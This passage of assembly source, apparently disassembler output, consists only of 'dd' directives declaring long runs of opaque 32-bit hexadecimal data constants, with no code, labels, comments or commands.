		dd 0FA167192h, 0BCAC425Fh, 3C6668A0h, 25C57658h, 9F900ACBh
		dd 6DAE96BEh, 0B82D48B3h, 0B853F809h, 5F545705h, 0E9E3BCFDh
		dd 1780F9FCh, 0BF8C2967h, 6BC79602h, 764BC251h,	0B78A624Ch
		dd 97A233FCh, 34D82A8h,	19CB6650h, 0F697073Fh, 1B5E906h
		dd 0B180473h, 0F5F5BE6h, 0C3095480h, 409D48AAh,	25F28914h
		dd 920926E9h, 340C6E7Bh, 8A2271A5h, 6681945Dh, 631E233h
		dd 565C0DCBh, 0A4E95026h, 2B9FAD52h, 92BFA287h,	0C5B42238h
		dd 1A2600E1h, 87B3BE29h, 30ED7880h, 0E9274E7Ch,	6658E024h
		dd 0B50A7168h, 70203E64h, 0B4148A3h, 0BCD4855Ah, 505216DCh
		dd 71A40900h, 4B80C18h,	837BCB36h, 82EAC429h, 0C00E3B0Bh
		dd 0B8040C35h, 0FB3EB046h, 0C3834CD1h, 0F50858E6h, 3B31DFD1h
		dd 0D9D43A44h, 2DD02900h, 803155F8h, 0FA911A5Ch, 0FEDCB100h
		dd 0E0C1C94Ah, 903AD9F6h, 0E8E935BBh, 0CB41E265h, 2A7DA3A3h
		dd 5B9F42Fh, 8EE58AF6h,	0A33CE07Eh, 6ABCA2BAh, 9C228B04h
		dd 9F5ACEC1h, 8A053281h, 0E975A24Eh, 1163CD3h, 0B1FD7BAh
		dd 8F3C316Dh, 835AD1E0h, 6502C12Fh, 0EB273E31h,	95A67CF1h
		dd 561B490Bh, 0F35F56EEh, 0F4FFD082h, 77C9721Eh, 39C06121h
		dd 0E4614F03h, 2901A213h, 0BF40DCC3h, 6BF5E7C1h, 833E441Ch
		dd 6CF839F5h, 0EB4B71E9h, 641F6F4Fh, 46805778h,	241E5BEDh
		dd 2527CDF3h, 0BA0AD053h, 0C7948314h, 0EFC1B08Eh, 0CEE8B702h
		dd 6209DB61h, 84F801EBh, 5C09A9B7h, 2F4051F6h, 1FED2F6h
		dd 0BEB450CAh, 0E119C480h, 79F4D4CCh, 58E2081Eh, 0DA1FADF9h
		dd 8DEA5859h, 0EBC8521Ah, 89F59BC1h, 76F766EBh,	9E5E899Dh
		dd 9DC1EF9Bh, 6897AEDh,	6B06E1h, 518CB4D9h, 3590F2B1h
		dd 3D20847Dh, 2140BDA7h, 7E486231h, 5A5520BCh, 96E5B321h
		dd 4A20FCA4h, 0EBA92EAh, 0FE66D7FCh, 215D0D2Bh,	6FA41C6Fh
		dd 0B6053CCCh, 436469FEh, 0F8AB3E6Bh, 9A20F98Fh, 3D5E5D51h
		dd 0F82375D2h, 7782072Bh, 7069761Bh, 422B0961h,	0C3852012h
		dd 590708EFh, 292D8018h, 9AF198F9h, 665304FFh, 0C72A56BBh
		dd 7B91B39Bh, 31C30A0Fh, 0DD09C0A1h, 9C344AE9h,	32DA82E8h
		dd 0AB622BE8h, 28786F50h, 4B685912h, 52C2F8ECh,	0C78B0B6h
		dd 8882EE01h, 0EFC05AF7h, 5492CF42h, 3D2D0059h,	95575DFh
		dd 5658C524h, 1F08AA03h, 0F5865B36h, 0E9EBC4C2h, 0EBCA312Fh
		dd 49DEAE0h, 52F9815Fh,	50BE10E2h, 29220A68h, 5072DE8h
		dd 8AC1B7E9h, 1459275Ah, 203395D6h, 0C342945Ah,	0FB1D4468h
		dd 41723F0h, 0ACF488E9h, 0C80AD263h, 898EB606h,	205F41F3h
		dd 0EA385E5Bh, 21E668A0h, 0C162A7B4h, 0A69BD518h, 7BE66AD8h
		dd 9C0130F1h, 7B33254Bh, 7E2FA167h, 79CA0B6Ah, 0DD7C3429h
		dd 54057869h, 15EE80Bh,	6E80BB53h, 0CC8173F3h, 3C2846F0h
		dd 940BBE47h, 0D0CB30D7h, 3B575C97h, 0A0705E2Fh, 8995C4Bh
		dd 2D7E2321h, 0B4B728C9h, 895E8DE6h, 0AD4D30E7h, 27E5A14h
		dd 4B5E0295h, 0DF1668E9h, 612F1BAh, 0C380CF10h,	2F357CB8h
		dd 0F780F6BCh, 4AA11F1Eh, 296C413Bh, 252D7779h,	5A0700A6h
		dd 2BDE20BEh, 963E05AEh, 0E24F5EF7h, 7761ACE9h,	0BF1C9EC2h
		dd 12E001BBh, 454817D8h, 8BE3584Bh, 12A70827h, 0E529380Ah
		dd 62CAAF3Ch, 0F0F55813h, 0E7544478h, 0B878EB90h, 5163F42Eh
		dd 0F556A506h, 2A7ECB0h, 0C166B248h, 0EFC004E1h, 3A9FE6CEh
		dd 0B74E6C3Eh, 0D55885B0h, 0E5416681h, 6472DCADh, 0E8D6EFCEh
		dd 0E954B0D8h, 542158C4h, 0D3AEA0D6h, 0DEFFA6B2h, 1BBF858h
		dd 36396805h, 0CF24F3CFh, 869AA591h, 0B1871CD5h, 0F6D56CADh
		dd 0CDA4F95Eh, 0D7E91857h, 5EB984F1h, 0A5D171Eh, 74F68F8Ah
		dd 0F8C35202h, 600C60E7h, 0F01398C4h, 0E807A205h, 8B5DCE78h
		dd 79541027h, 0A1E96278h, 5117585Eh, 0E2D6C3E6h, 7CF54A38h
		dd 0C0EA73F8h, 47B2F695h, 892E7862h, 7208C1F1h,	685B050Dh
		dd 122DD56Fh, 5B77ECD9h, 0CFA3AB50h, 0A0F4E5EEh, 0B74F4BFAh
		dd 0C772E0C2h, 237F597Ah, 0A2B18A82h, 166786C3h, 11F529DEh
		dd 0FD05084Ah, 0ED32DEE9h, 3E407C8Ah, 7026B05Ah, 3D200BDAh
		dd 790D7F7h, 3604C4D0h,	5F3A0175h, 0ED2D6EC4h, 2FB331h
		dd 60C7804Fh, 3013DBB5h, 0EBB45BFDh, 276AE344h,	0F1F98557h
		dd 0BD82AE6h, 4208145Dh, 3409CBB2h, 0C806CA32h,	8809CCFh
		dd 8B9F5759h, 98765AA7h, 877E4BACh, 0ECD80474h,	28AC0E47h
		dd 7AE7DFF0h, 0C7C253Eh, 1E0B4A45h, 0C9B8D1E2h,	0B857A907h
		dd 0F516672Ch, 0C2F3FE09h, 0F2055296h, 64C89A17h, 12C6453h
		dd 88CA015Fh, 8003FB61h, 0F8377708h, 0CB6DDED5h, 3304E87h
		dd 903E69A6h, 1777EE25h, 0EEA41C13h, 999CD183h,	0BCF6E985h
		dd 0B6B05E40h, 6F961358h, 0FD90A1DAh, 385DEA2Ah, 0B55BDDD5h
		dd 0E3A7C2E7h, 0B1C82DA7h, 0A85A8184h, 0ED2579CDh, 0A6EF5B49h
		dd 62BAE272h, 0E919601Ah, 0DD314B9Ah, 0C4166FF3h, 0E9A005EDh
		dd 19D3523Fh, 0D94B435Eh, 0F30248D6h, 7CEA28E2h, 37FE81A5h
		dd 0C3CF922Fh, 0D26A2F79h, 2D59F269h, 634080E9h, 28004EB8h
		dd 0A0352B64h, 0FE0D4C5Eh, 5A019AAAh, 444983C1h, 7B832F4Bh
		dd 50098C9Dh, 106AAE00h, 0C10048F6h, 0E78106EFh, 32553220h
		dd 2144F56h, 74F1A860h,	250F9E00h, 5E98578Ah, 5595022Dh
		dd 0E0D12B28h, 0AF0B443h, 357E223Ah, 0AB706B78h, 90BC7CCBh
		dd 82DD598Eh, 0A5ABE30Fh, 30484250h, 0F468097Ah, 0B117C86Bh
		dd 6E4A14Bh, 0FA3312EFh
		dd 115EE65Fh, 0BA01CD4Bh, 63265EF6h, 4C062B09h,	9B1CAAD5h
		dd 8430107Eh, 80A2988Ch, 27F3F24Ah, 0EBA220F8h,	64E74354h
		dd 0FB4CB631h, 84C6C354h, 46FC095Ah, 530E53DEh,	8FFFD8CEh
		dd 41CD6FFDh, 0BA84666Bh, 1571B90Ah, 912FC67Eh,	0B930D73Ah
		dd 0A0C5DAF7h, 0E525B9D6h, 6E627A4h, 23286Bh, 7778869Fh
		dd 9ABDF63Fh, 32E390D7h, 0A2D2543h, 54C82AFh, 6870510Bh
		dd 0D8262350h, 3AEC899Ah, 6609CBE0h, 65545359h,	16E1A443h
		dd 0E9988371h, 3D74F6F3h, 2552764Ch, 0C390EE3Bh, 4D4A61FCh
		dd 0AC35BA8Dh, 0F5A764B8h, 50613EAh, 0E25C6D25h, 19189984h
		dd 227DBB02h, 5DD80128h, 94C81FA4h, 2491B3C1h, 689F8CA9h
		dd 0FE341A52h, 800261EEh, 0DFCE6EA7h, 2E165210h, 0FD01905Ch
		dd 551B666Ah, 1E21E640h, 0BD3C0236h, 0D20A0683h, 25576DC2h
		dd 65810183h, 0D424DF70h, 350348EBh, 4F0AF02Eh,	32CF7FA3h
		dd 6A330C05h, 84C4439Ch, 354997D0h, 31C81330h, 3AA6FCF7h
		dd 39C2104Ch, 0F24A0890h, 0DED939Eh, 8502EC96h,	55E26AE9h
		dd 8EE76C05h, 0BCD416BCh, 78E18903h, 0F0293C42h, 14C1A5CFh
		dd 4671FB98h, 0B100BF3Dh, 5304515Ah, 0F988D6B7h, 8CF8FD84h
		dd 0C613C33Bh, 11AFF696h, 77483DF0h, 25FABB86h,	0ACCE619Fh
		dd 5659358Bh, 8D4FAE54h, 66A19A0h, 0CFD237E9h, 6878C450h
		dd 9B237B2Dh, 0B39A007Bh, 0E9D988AFh, 0DF9CA96Eh, 0E654DE4Fh
		dd 0D6CB83CAh, 0B023A321h, 286F77E3h, 38B63B27h, 0C48BDAAEh
		dd 0DDDADE01h, 131AE91Ah, 5A47577h, 20280457h, 5984DFA9h
		dd 3E20F4D2h, 0F453C5CBh, 0C2E9D9B9h, 94FE3E4Ah, 56F88712h
		dd 9BD1C9DFh, 52C86D2Fh, 7CF64EBEh, 0AF9ADED1h,	0A7E0524Ah
		dd 6100134Ah, 0F9070F35h, 0E6970511h, 0DD5758CBh, 9E0D0460h
		dd 4C02B608h, 0B75FFB2Dh, 278284CCh, 0B4EB8002h, 0F6F06CE0h
		dd 614ADE7Dh, 658FC584h, 81FCDD26h, 5C71C9BAh, 15C03F36h
		dd 2EA92605h, 241E0806h, 28506133h, 0C26670F3h,	0B1835F82h
		dd 88D2F441h, 8F0E34D6h, 958EE502h, 90DF8693h, 66E368D7h
		dd 2B3F7770h, 0BE6AA484h, 21091E0Eh, 687310F0h,	0E60E4F1Dh
		dd 9A12D2D9h, 41E3FCE4h, 0DBCA20C8h, 71776817h,	0C13FF6FCh
		dd 0ED207ACh, 6CC18103h, 20F7A9ACh, 174C6D79h, 0DA1E8478h
		dd 0F29D31FEh, 0CA373935h, 5801D453h, 89738F0Dh, 5ABFE02Ah
		dd 832C3641h, 0E9A15C59h, 14434BAh, 0C588D15Bh,	5D1D60FEh
		dd 83219568h, 435B3012h, 41AA4A01h, 1E3F2D54h, 0B51B0181h
		dd 3853BCADh, 50904E69h, 921F04E9h, 293326BDh, 187E69B2h
		dd 0C3F652h, 7B777D4Dh,	0B9695CE9h, 4D2D5496h, 0A000689Dh
		dd 0B56C2768h, 1FE8A218h, 0B4651EBFh, 0E9555071h, 4852FB25h
		dd 9108C12h, 835F7B03h,	3109B2D6h, 996DBACh, 445A946Ah
		dd 0DC22CD00h, 5FF90940h, 8AD95AF7h, 0A8BE00ECh, 0C1332962h
		dd 20CBB8E6h, 20B5F335h, 168468B9h, 0C94A4892h,	7C582B5h
		dd 0D3ECFE0h, 47359F05h, 0DDB1A1E9h, 9576977Fh,	0ECB25215h
		dd 6AC8F415h, 613B480Eh, 0A5BF04D6h, 0B4201877h, 0E5883E90h
		dd 6E1C014Bh, 0B207EDC0h, 0E8283628h, 8151B949h, 4AC22A5Eh
		dd 96A358A8h, 0CA173C89h, 5090F3F9h, 20B1AF87h,	9A1F5AA7h
		dd 0A399061h, 0C3012BDDh, 7F060287h, 0A3403259h, 6B91267h
		dd 0A3B95502h, 9097D9Ch, 0EB3FEFA2h, 69EFAA74h,	85ACD698h
		dd 0BA88685Fh, 6A098F35h, 62057E34h, 38D5D817h,	8814D289h
		dd 0DDCB9372h, 0A504E6C8h, 0E16CA7ABh, 2DBD41B5h, 0E203B274h
		dd 255AF25Bh, 9F98DD68h, 63C041E9h, 3E2EE32Dh, 1A27BE36h
		dd 0CB624D71h, 0D24EA0FEh, 114EACA9h, 5B18AC31h, 78851C4Ah
		dd 9847AE28h, 73F33F04h, 38B029F6h, 2CA16726h, 0E38E1BEh
		dd 49B2EB17h, 56941855h, 60165968h, 0E9A9604Fh,	96B52CB6h
		dd 0ED81255Ch, 0D5134379h, 2D4998FCh, 9A23E34Bh, 0E1896052h
		dd 43058108h, 0DCD95E7Dh, 16DD7E1Fh, 0F027C067h, 2AEB3FE8h
		dd 1B510813h, 6714701h,	96B12F7h, 98A64C44h, 6AB7D659h
		dd 491BE86Ch, 0EBC0B6AEh, 9169AFFCh, 656560A9h,	8DEAB000h
		dd 2E193E21h, 9D4C1415h, 5E1A304Dh, 775B4E92h, 38449522h
		dd 0D8FA4C01h, 0D008A070h, 299620E9h, 3ED12C24h, 0B3975214h
		dd 5AE8E2E9h, 2E26017Bh, 4A682931h, 85322B16h, 34F2A311h
		dd 0CAC28331h, 9734F02Ah, 0E927EE1Ch, 0C1FE8044h, 276807E3h
		dd 0EE18321Bh, 0D51658A3h, 76BC400Dh, 73E91274h, 0F9E745C4h
		dd 4D148356h, 7B7BAE91h, 0D2002829h, 2EE11D91h,	0AC948915h
		dd 0AAC50804h, 91C1923Ah, 0CFA67F90h, 8901133Dh, 0B40009F8h
		dd 2CAC8E20h, 322A688Eh, 0B601785Ah, 4E6C061h, 4430CEFEh
		dd 54E497ADh, 623B6815h, 4C54C17h, 29D808E6h, 0FF05182h
		dd 947FAC41h, 84436028h, 44E0571Dh, 5D34F798h, 1AF56081h
		dd 0AE98B90h, 88D37FE3h, 0D1169380h, 0C18EACF5h, 446290F2h
		dd 8C6089D9h, 90B52164h, 95565371h, 8B90ACC4h, 5974Dh
		dd 9835E62Dh, 0E4BE051Ah, 70364C03h, 0DCB9A14Fh, 8FA14948h
		dd 68CD00Eh, 3A45A6F9h,	7BECD717h, 19D14704h, 0D9E90229h
		dd 0CF85A4FAh, 6712E9EDh, 4B002C0Ch, 845AE75Ch,	412F2BBh
		dd 0AD9AC5Dh, 542CF35Bh, 0DE157100h, 0BF515F65h, 2F0CC611h
		dd 68099F9Ah, 65D46348h, 94395CD1h, 0A81AE984h,	65B24EA3h
		dd 1D823C9h, 80B0149Dh,	247547D0h, 12C56ADAh, 0C6D4A8FBh
		dd 139CAB1h, 0D261CC5h,	3AD5F71Fh, 6D097925h, 171DD60Ah
		dd 9A3ED62h, 30178B68h,	0B5EE88C2h, 59B0E2ECh, 0D0CAC1BCh
		dd 0E02EC700h, 5564217h, 1019F2BEh, 0FF900137h,	207B1175h
		dd 4D097C46h, 0F0929B0h, 86EEE78Bh, 0C0C24D7h, 6D830B3Bh
		dd 55DC01D3h, 3D1FE9C9h, 0BDC38748h, 64339CE4h,	0B9E3FDE1h
		dd 0E854E0FAh, 0D49297D3h, 2E4ABD00h, 6F9039A1h, 0D358200Ch
		dd 3C6E0C19h, 18B7276h,	0AE565DE9h, 2D23FA5Ah, 409CD188h
		dd 98D3CBB7h, 0C0615363h, 37A4F11Eh, 0E197C0D1h, 902A2DC5h
		dd 54055B8Ch, 705E2525h, 80709511h, 5F580640h, 0DB72D059h
		dd 5E5F4969h, 0C4059F7h, 49E5BE9h, 0AE895FCEh, 1C4FAAC1h
		dd 5E866620h, 7D499DF7h, 58129F95h, 0B3FEE0D1h,	0FAC72F81h
		dd 3F21830Eh, 9245360Ah, 64303900h, 5D126818h, 0D084250Dh
		dd 7827FA31h, 0A5F05E8Bh, 705245E1h, 0F6B2B8DDh, 0DCA4235Bh
		dd 0E989C99h, 0B7E5E801h, 9027C820h, 42C02514h,	10A61FA6h
		dd 77A0DD94h, 4E5E1359h, 0E380AD33h, 5706079Bh,	27CF8853h
		dd 0AEDA2FAh, 1AAD66DBh, 77E6BAC7h, 0D8BCDC94h,	0C33A88h
		dd 7B2970BEh, 0E600C145h, 4F68105h, 1CAF652Eh, 0E45EF589h
		dd 0FCC2301Fh, 344CC71Eh, 0BDCD4F81h, 20A810A6h, 5E83B010h
		dd 618A9202h, 66B8055Fh, 1866C9F3h, 0C425BF30h,	6BC8D602h
		dd 0CE9A61AEh, 0BF21C755h, 1310CDD2h, 0EEC00F2Ah, 0BB220A08h
		dd 76FB2189h, 4E06A29h,	90E05038h, 6101EAB5h, 0F3295816h
		dd 56086D10h, 712125D1h, 0D85A6923h, 74413945h,	0BC3DA20Ah
		dd 12A2D44Fh, 71FB98Bh,	5A5F5257h, 0D5DFF712h, 606158Ch
		dd 3BEBE912h, 0F2938BADh, 5CE76051h, 914DE068h,	0BD668351h
		dd 53A241A5h, 0E74FC459h, 515562BFh, 6F9A70Ch, 885954CBh
		dd 0C0C64AE9h, 8E7C01Dh, 50DFF607h, 20D441B4h, 9A7DEAE1h
		dd 0BD2253A5h, 0D81FA764h, 58670839h, 64138F9Dh, 3786913Ch
		dd 0F6397B26h, 954C9838h
		dd 284B3A1Fh, 0F65820ACh, 485A485Dh, 0DE7004B7h, 85D108B9h
		dd 0D77F1B81h, 0B1E77433h, 35DB7101h, 33EFE8AAh, 75FA8E48h
		dd 8C11411Dh, 2FB0189h,	7B40A051h, 36A16205h, 16B214E4h
		dd 8C1EE07h, 0EC635AF4h, 60C4CAFFh, 0BF4C9BD2h,	47A66E23h
		dd 0F05313F9h, 95C9CBB3h, 0F2B784D7h, 0F8A567ACh, 13EBD20Fh
		dd 0C36BB4F4h, 5BA8CE4Ah, 0ABE15CE2h, 0EEB806B7h, 5D29E77Ah
		dd 3097023Fh, 84DAE219h, 8516B322h, 7354AE1Dh, 44E9B07Ah
		dd 4EB0804Dh, 58C53007h, 52CEEB28h, 0CD170BB2h,	773521ABh
		dd 0EBA65245h, 95BD91D4h, 4880AFD3h, 823F4CE6h,	0F75A2A68h
		dd 1EE980B0h, 82801D45h, 8083AEBBh, 3CD42969h, 365F07A9h
		dd 0F49B4062h, 9508208Dh, 82564A24h, 4A82BC03h,	0B202464Ch
		dd 175C2EDh, 2867C1DBh,	0C3A5FEB9h, 54B2F118h, 17F970E1h
		dd 836E4041h, 0DD82D95Eh, 59B49E1h, 0C9829497h,	66C4DC05h
		dd 5F0A6F2Eh, 66787168h, 62AB5795h, 563B79A0h, 1D7F89C5h
		dd 100C666h, 813A850Ch,	3B51DEE2h, 0CA005CF5h, 2A612376h
		dd 0E6AA01E9h, 5D490F5h, 2E7958Ch, 2788FD23h, 0FA420DFh
		dd 0B78FFAF7h, 0AB466Bh, 9F4141AFh, 3657C214h, 69294EF4h
		dd 0C1EF7442h, 56B7FCFh, 8A23CB3Ch, 2C645250h, 5197B178h
		dd 81BAC01h, 0E68704AFh, 31A2407h, 0FFF3D2F7h, 1A5A7430h
		dd 504B5886h, 1937F420h, 0BC1BB431h, 3B4F60B7h,	0E917D1E6h
		dd 0E641C635h, 6BEF8059h, 28C0D8CFh, 0ABF6A3F9h, 0EA82C15Bh
		dd 0ED931D72h, 92EF865Fh, 0DEF30723h, 0B548D953h, 0D4FFA1A2h
		dd 0A5958B52h, 53B03FB3h, 0B783CBEh, 8BD030A5h,	68865295h
		dd 280EA8F2h, 3F33606Dh, 0A1648ABEh, 0B9E370F1h, 0DEC24394h
		dd 43C50F44h, 0A1E1A8D5h, 101A2D6h, 0ACC8DCDAh,	9F78080h
		dd 1222687Dh, 0B0007344h, 0D0E334EDh, 0F24A2CE8h, 6690A7h
		dd 8CEB8065h, 0D828BF04h, 345BD0FDh, 0C73DC877h, 0D41725E9h
		dd 0E33D67DAh, 6CC26D3Fh, 0A607E00Eh, 0BB4C010Bh, 0B00C20E0h
		dd 291A8117h, 5908248Eh, 1CA8FC36h, 9F96F81h, 5F2FB551h
		dd 683083B1h, 9CB14C3Fh, 0E8C9C253h, 0E6137F29h, 58F3D8BEh
		dd 20041822h, 33A08A7Fh, 0A1382AF0h, 0C9D7A531h, 65AE0779h
		dd 295C8A13h, 5A61111Eh, 0C8172F8Bh, 84B1ED3Eh,	62BB6344h
		dd 5FC3565Bh, 279C6A0Ah, 0F9048547h, 0F7C02B16h, 58FFD0E9h
		dd 0A2984F02h, 3B2CD44Fh, 128C0E78h, 98E25311h,	0D3044E14h
		dd 5AF9C5C3h, 9F2C7CFAh, 0E4F025FDh, 0E56CD7DDh, 0C8B3604Ch
		dd 0EBE0E925h, 979CB1CFh, 81410C81h, 0E478E8E1h, 0D161F723h
		dd 0D7DCE904h, 68C2C069h, 81D938B7h, 73758Eh, 0F9EE8107h
		dd 0F570E28h, 26BA94E9h, 0A8080F76h, 0C4FE0BA5h, 0C0059100h
		dd 0CDED03E4h, 0CED8E7E1h, 3F67B5E9h, 0E81B934h, 0A12B7F2Ah
		dd 619407C0h, 2163E537h, 5C752C9Bh, 82C1F469h, 0CA6AFD78h
		dd 8FC812C2h, 9F29A028h, 0B89DE74Ch, 793A12h, 0E1BB342Eh
		dd 0E96A9BEEh, 0C5D00D5Eh, 0BB97FF5h, 0E8313DEAh, 4BAC6F51h
		dd 0D2399202h, 2505560Ah, 0BF02ADF2h, 2420440Bh, 6449FE47h
		dd 7861EE3Ch, 0C446CF87h, 0B8500108h, 26490A79h, 47C92009h
		dd 0B3310E40h, 8569657h, 55A9E7C1h, 0CA3A3709h,	0A7848DDh
		dd 89840B80h, 5156F701h, 0E9F5EE4Eh, 5B2323D2h,	0A12DF25Dh
		dd 401168A6h, 0D3C44868h, 4550988h, 0D4163154h,	3E78BC27h
		dd 29199209h, 4F2155E4h, 540DB332h, 0A54048F2h,	0D5892D5Dh
		dd 0E61685F8h, 7BBC0D1Ah, 594AB403h, 84E40126h,	0E908056Ah
		dd 8891A074h, 0AD71B8C4h, 6FC98100h, 39589A4Ch,	0D5550549h
		dd 0F603A182h, 10CBCAE9h, 0C75F4FD1h, 0DE8B5A5Dh, 2DE748C8h
		dd 59AF9A45h, 4FE508F8h, 503E17A8h, 7408A5E9h, 10CD965h
		dd 828FDEFDh, 46CF312Ch, 0AADAC124h, 87823327h,	0B1E65F3Dh
		dd 0D011AF6Bh, 812FE770h, 595D5C9h, 9046E609h, 1690CA54h
		dd 456936h, 2BEDD438h, 0C64DE923h, 40C94B16h, 7321AB79h
		dd 0C256E985h, 2E97A321h, 0A3003471h, 0F721D105h, 35608D2Bh
		dd 6794402Bh, 0E5E3335Ch, 0C0982CF0h, 7E0C148h,	16027F35h
		dd 0E20199AEh, 1F8FD285h, 0E5E9F613h, 0D42E47BBh, 6728E947h
		dd 5EC9C819h, 945808FFh, 8786983Ah, 1E6AC6C5h, 0CB73B344h
		dd 86798C3Eh, 0B7015513h, 319D2BEFh, 956564FDh,	36BB5696h
		dd 21274B00h, 177B00EBh, 0F20AE007h, 565948CBh,	452EE501h
		dd 71DF0144h, 97C8FA2Ch, 114EEE80h, 5C7B18ADh, 55A0853Eh
		dd 1B1344BDh, 31A82F34h, 34B0F0Eh, 7410C5C0h, 0FE90772Dh
		dd 8B68DF09h, 5E796254h, 4A5700CCh, 8D3544F8h, 183B7516h
		dd 0EF3821B1h, 0DECDA84Bh, 0E6072C09h, 16995A5Eh, 79670B9Bh
		dd 0F927D5D6h, 40684120h, 0C4662867h, 25EBF9D2h, 320C82B9h
		dd 5F7BC954h, 4ED32A6Ch, 0ACD693E3h, 0E3B9F458h, 13A56084h
		dd 8828E1B1h, 0B68781B4h, 93F472B4h, 5CC068ACh,	0B050C5FEh
		dd 0A2284D28h, 70180427h, 738BE905h, 1D4969E9h,	0D94CE4C2h
		dd 51010E3Bh, 290803D0h, 65F8E9F1h, 92827EACh, 9D225073h
		dd 70952EB4h, 12C983Ah,	38BF6C6Fh, 0E599407Eh, 3A1A25F5h
		dd 9824779Ah, 89AD9D36h, 547CCC25h, 0A6F45447h,	0FA43E5D3h
		dd 4D56FAh, 61D12D59h, 12C19CBh, 873955F0h, 81773537h
		dd 360C69B0h, 0D874C127h, 3AA29421h, 2D5EBA00h,	65760280h
		dd 1F05122Eh, 78040007h, 9D683859h, 85134259h, 39BAA50Ah
		dd 7C9C6E1Fh, 0F8E5BF5Ch, 3170AF9Fh, 3D1BF9C6h,	0A99702ECh
		dd 0A27FE4E2h, 0DFB35E26h, 0B490E22Fh, 665C1621h, 710CA83Bh
		dd 0BC2B2B50h, 3AB61F18h, 0F5FB00Ch, 90E93BB4h,	4437EB92h
		dd 0A813A3D4h, 0B7FC506Dh, 0A85B6D07h, 204FDD31h, 9C3666EDh
		dd 6F09162Ah, 419F051Ch, 1B58E285h, 0EA9F01BAh,	30C70F9h
		dd 80C3285Ah, 613F8EBh,	0ADA16629h, 290209EAh, 9A9030B3h
		dd 4B32710Ah, 0FCD9427Eh, 6C5C8247h, 0D0DA493Eh, 53BE105h
		dd 22C70952h, 0D872618Fh, 0D26CF917h, 652D0660h, 0E09DA823h
		dd 984E4DB4h, 82FA9485h, 3CEC521Fh, 5B041042h, 1971D129h
		dd 0C1CA3830h, 3E7C3C33h, 0E717807Bh, 0E0B7C651h, 121F386Fh
		dd 0BB89348Eh, 4E31722Ch, 0C457F2D3h, 56949DC0h, 0C04F4592h
		dd 277B9932h, 8B5E5E74h, 0A845E904h, 0A38A61EAh, 97B72A01h
		dd 160FBC50h, 0F97E1117h, 68084167h, 0DE28DAB1h, 0AA5C4294h
		dd 0D69D5E04h, 2E80A500h, 445F5B6Bh, 0A0BF65Dh,	0D9BA61BEh
		dd 0A3B84ED9h, 453A3110h, 0C69DFCEDh, 0D89C14B6h, 9F519D60h
		dd 0A0175C9Fh, 595B2641h, 673DCA30h, 6750681Fh,	15E39874h
		dd 0C3EF0322h, 73944B7Dh, 9D0A89Ch, 2BD027E3h, 0E75305E2h
		dd 7C81610h, 316F57C2h,	7003CEDh, 28FB015Dh, 32F80388h
		dd 0BEA483DEh, 0FE8EEA55h, 2D91A65Dh, 0BF90718Bh, 9197873Fh
		dd 50705582h, 28F44ED0h, 0B744595Eh, 0CB5F4FFEh, 0F794CB2h
		dd 0F2C8310Eh, 57E8A7ACh, 685F5806h, 976B10EAh,	885AB8A0h
		dd 594C66EEh, 0F61302F8h, 61D60CD8h, 2CBE03D4h,	0F7CDF655h
		dd 8987ECC7h, 0B708FE26h, 0D19D5714h, 63684292h, 1AC6C65Dh
		dd 7CB530E9h, 0BEC11F84h, 0D1014091h, 0DCB6AAFBh, 0F5A9EF97h
		dd 4ED3C05h, 12DF47B0h,	9D1444FFh, 0AB680230h, 9CEE711Ch
		dd 0F66EC088h, 6E8C0D0h, 0DB415AB0h, 11B7CB40h,	81360007h
		dd 0CB3150E5h, 0ED1BC143h, 0A0144506h, 16091E0Fh, 0E3E078E9h
		dd 7F575F84h, 522C8Ch
		dd 2F509A68h, 0CA815A7Eh, 0C873FD09h, 0F647803Ch, 0B4238821h
		dd 0BACD0902h, 58611F20h, 0F1FE66A0h, 0C9815E02h, 0E14216E7h
		dd 0B288E16Dh, 880BA6B3h, 40D989E5h, 91ABF39h, 4F63C717h
		dd 24D7E002h, 0CFB0D8E3h, 28F0156Bh, 60E7C12Dh,	5608376h
		dd 0D4E946B2h, 171FEDFh, 21608864h, 0BD825274h,	32610F04h
		dd 3913EA5Ah, 0C693EECh, 0C0F6A500h, 0CCA3B464h, 7AECB64Bh
		dd 0E92559A6h, 2D8B51h,	5649D909h, 0D8F70020h, 0A525E0D1h
		dd 786EA42Ch, 0AB81D70h, 84F02938h, 657AC200h, 2DE91AE0h
		dd 0C6722A57h, 5DC1DC62h, 1956729h, 0C33C472Dh,	5A12E69h
		dd 0B7F00705h, 913225E9h, 22BD5CE4h, 72EE1732h,	515F0960h
		dd 4D034211h, 45B00114h, 2E4B79E9h, 37F7DA44h, 8C1D0412h
		dd 122895E3h, 124F9108h, 0DA174110h, 0C7DD2A33h, 97F66CECh
		dd 2F354426h, 1D811E9Eh, 5D0B2636h, 3A031628h, 297F9346h
		dd 0A2C0AF4h, 5A57558Eh, 80CF4894h, 6DE67E6h, 72EE63D8h
		dd 812D0C20h, 337CD4F2h, 0BBE55925h, 0E630548Bh, 0F8C597B3h
		dd 0AE8899AEh, 0D0300B94h, 0E9617E79h, 413FE043h, 770BF10Ah
		dd 52986405h, 89837997h, 0AA82DA89h, 8707D2D7h,	85E0459h
		dd 2A27A001h, 0BA6D206Ch, 7DF3141Fh, 37BEF703h,	0F901B0FBh
		dd 127C4FE9h, 109DF665h, 1E583ACCh, 2DA39D2Ch, 0E07E0608h
		dd 0FD25CDB8h, 0E6E9380Bh, 242DD9E4h, 9EE02584h, 0DD5F3548h
		dd 5AAC0C4h, 0FB5BECBh,	92E4693Bh, 7140EC42h, 0E69AB1FEh
		dd 31215F39h, 80C2E41Ch, 0C1F76707h, 0CC6FC120h, 102F6807h
		dd 0F4721B28h, 8180A3E8h, 975A6532h, 35A0764h, 0C0EC1994h
		dd 0A4E20BA4h, 400236D2h, 0BF035A25h, 0F6B85F7Eh, 2BD71AE9h
		dd 82EBAB8Ch, 5F9C3255h, 0BF05BA9h, 0B0972EB1h,	4BAF8B0h
		dd 21911533h, 7CC0AE01h, 654816EEh, 0FFF712E1h,	5F417979h
		dd 0C402A71h, 4EE7FA3Eh, 2300A0A6h, 5FCD295Fh, 93D7D37Ah
		dd 206827A1h, 6D1D0811h, 0EBCA2049h, 0BEC0EA76h, 717BEA2Eh
		dd 3D79160Dh, 9B1AC17h,	70509073h, 292B4D41h, 20D22C00h
		dd 0F68058C6h, 0CB30637Dh, 0F7DE7D1Ch, 0BA08DDD3h, 530B3FC8h
		dd 5802CEE3h, 0B70386F0h, 3C07B929h, 1CA1CA7Ah,	68C5F9F7h
		dd 71EB49D4h, 28DF5AC4h, 0D1CDC4ABh, 0AC400112h, 0EC0127DAh
		dd 0A9831885h, 647C9484h, 0F7D4C9Fh, 0F1B0FDF5h, 0F471ED05h
